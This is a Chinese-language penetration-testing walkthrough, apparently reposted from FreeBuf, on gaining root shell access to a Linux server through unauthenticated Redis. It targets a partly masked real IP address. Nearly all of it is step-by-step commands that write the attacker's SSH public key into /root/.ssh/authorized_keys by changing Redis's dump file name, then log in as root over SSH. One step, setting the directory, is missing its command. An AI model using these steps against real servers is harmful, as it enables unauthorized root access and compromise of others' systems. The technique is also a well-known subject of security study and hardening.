redis未授权访问配合ssh免密登录getshell
2023-5-19 00:3:4 Author: LemonSec(查看原文) 阅读量:33 收藏

在一次渗透测试中拿到一个ip地址52.80.249.xx,nmap端口扫描出22,6379,80端口,目标机是linux系统的一台服务器,6379为redis的默认端口,尝试对其进行利用。使用kali作为攻击机.

一、环境准备

1.1、在攻击机上面下载redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

1.2解压文件,执行文件

解压文件:tar xzf redis-2.8.17.tar.gz

进入redis目录:cd redis-2.8.17

安装:make

1.3、进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样以后启动redis就不用进入安装目录了)

cd src

cp redis-server /usr/bin

cp redis-cli /usr/bin

1.4、、返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下

cd ../

cp redis.conf /etc/

1.5、使用/etc/目录下的reids.conf文件中的配置启动redis服务:

redis-server /etc/redis.conf

1.6、然后ctrl+c退出,再次进入src目录然后连接目标靶机的redis服务

ctrl+c

cd src

redis-cli –h 52.80.249.xx

出现52.80.249.xx:6379>就代表连接成功,并且没有输入密码

二、漏洞利用

2.1、这里附上一个这里没法利用的一种 攻击方式截图(没有测试仅供参考)

2.2、我们这里是不知道路径的,根据前期信息收集知道还有ssh服务的22端口是开放的,可以利用“公私钥”认证获取root权限

使用ssh生成公钥和私钥文件

ssh-keygen -t rsa

2.3、进入.ssh文件下,将上面生成的公钥保存到1.txt里面

cd /root/.ssh

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > 1.txt

2.4、将生成的公钥文件通过redis上传到目标服务器

cat 1.txt | redis-cli -h 52.80.249.xx -x set crack

2.5、远程连接redis服务

redis-cli -h 52.80.249.xx

2.6、获得redis备份的路径

config get dir

2.7、更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

2.8、设置上传公钥的备份文件名字为authorized_keys:

config set dbfilename authorized_keys

2.9、检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机

config get dbfilename

2.10、攻击机直接ssh连接目标服务器

ssh -i id_rsa [email protected]

本文作者:天良, 转载请注明来自FreeBuf.COM

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247545793&idx=2&sn=c02a6c2d481380f66af3c41f8a1dc4a8&chksm=f9e35c9ace94d58c0a6614d751247a903234cb1c4de8aff3d66934fc131aa0bc52ae6d83c1c2#rd
如有侵权请联系:admin#unsafe.sh